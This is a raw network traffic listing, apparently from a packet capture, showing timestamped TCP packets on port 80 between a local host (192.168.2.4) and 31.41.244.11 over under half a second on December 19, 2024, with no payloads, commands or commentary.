Dec 19, 2024 06:09:42.536062956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.537153959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.537223101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.537280083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.537324905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.538105965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.538144112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.538213015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.538253069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.539205074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.539256096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.539284945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.539334059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.540262938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.540311098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.540445089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.540483952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.541953087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.541964054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.542009115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.542027950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.543029070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.543040991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.543082952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.543570042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.543612957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.543654919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.543697119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.544883013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.544893980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.544931889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.545710087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.545749903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.545938015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.545985937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.547012091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.547023058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.547055960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.547070026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.547875881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.547928095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.683279037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.683341980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.683363914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.683403969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.683753967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.683792114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.683967113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.684000969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.684798956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.684844971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.685038090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.685076952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.685939074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.685981035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.686011076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.686054945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.686997890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.687042952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.687239885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.687279940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.688123941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.688168049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.688193083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.688245058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.689203978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.689248085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.689276934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.689320087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.690301895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.690350056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.690397978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.690442085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.691354036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.691392899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.691720009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.691761017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.692455053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.692497969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.692609072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.692652941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.693568945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.693629980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.693659067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.693697929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.694658995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.694705009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.694746017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.694785118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.695967913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.695979118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.696010113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.696018934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.696779013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.696824074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.697057962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.697092056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.697887897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.697926044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.698019028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.698059082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.698976994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.699028015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.699104071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.699146986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.700059891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.700103998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.700193882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.700237989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.701158047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.701204062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.701360941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.701406956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.702244043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.702286959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.702456951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.702500105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.703345060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.703387976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.703461885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.703507900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.704483032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.704521894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.704725981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.704770088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.705549955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.705593109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.705698967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.705741882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.706633091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.706676960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.706732035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.706773996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.707720995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.707766056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.707881927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.707926989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.708821058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.708865881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.708889008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.708925009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.709882021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.709925890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.709983110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.710028887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.711033106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.711081982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.711153984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.711198092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.712157965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.712168932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.712203026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.712225914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.713201046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.713243961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.713247061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.713289022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.714279890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.714353085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.714394093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.714438915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.715351105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.715395927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.715430021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.715473890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.716430902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.716442108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.716479063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.717487097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.717531919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.717674017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.717716932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.718719006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.718729973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.718770027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.719815969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.719826937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.719876051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.720760107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.720805883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.720940113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.720984936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.721856117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.721895933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.721944094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.721987963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.722994089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.723058939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.723108053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.724065065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.724119902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.724153042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.724198103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.725157976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.725219965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.725245953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.725289106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.726248980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.726290941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.726365089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.726408958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.727349997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.727400064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.727426052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.727468967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.728389978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.728497982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.728542089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.729537010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.729579926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.729624987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.729671001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.730603933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.730690002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.730741978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.731724977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.731775045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.731926918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.731971025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.732764959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.732811928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.732881069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.732928991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.734005928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.734015942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.734056950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.734966993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.735012054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.735081911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.735127926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.736032963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.736095905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.736150980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.736195087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.737385988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.737396955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.737442970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.738210917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.738256931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.738425970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.738471031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.739351988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.739418983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.739468098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.740345001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.740395069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.875169992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.875284910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.875341892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.875663042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.875706911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.875740051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.875782967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.876528025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.876569986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.876625061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.876666069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.877573013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.877619028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.877643108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.877690077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.878690004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.878859043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.878911018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.879796982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.879865885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.879961014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.880008936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.880856991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.880908012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.880959034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.881004095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.881953001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.882004023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.882055998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.883039951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.883089066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.883172035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.883217096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.884139061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.884187937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.884247065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.884294987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.885214090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.885260105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.885324001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.885373116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.886307001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.886399984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.886449099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.887494087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.887542963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.887600899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.887648106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.888488054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.888535023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.888596058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.888643026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.889589071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.889637947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.889681101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.889724970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.890666008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.890889883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.890939951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.891756058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.891801119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.891864061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.891907930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.892858028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.892905951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.892952919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.893001080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.893948078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.893992901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.894068003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.894280910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.895030022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.895142078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.895199060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.896132946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.896179914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.896238089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.896281958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.897200108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.897248030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.897300005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.897345066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.898309946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.898420095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.898483992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.899395943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.899441004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.899497032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.899593115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.900489092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.900557041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.900646925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.900695086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.901576042 CET	80	49838	31.41.244.11	192.168.2.4
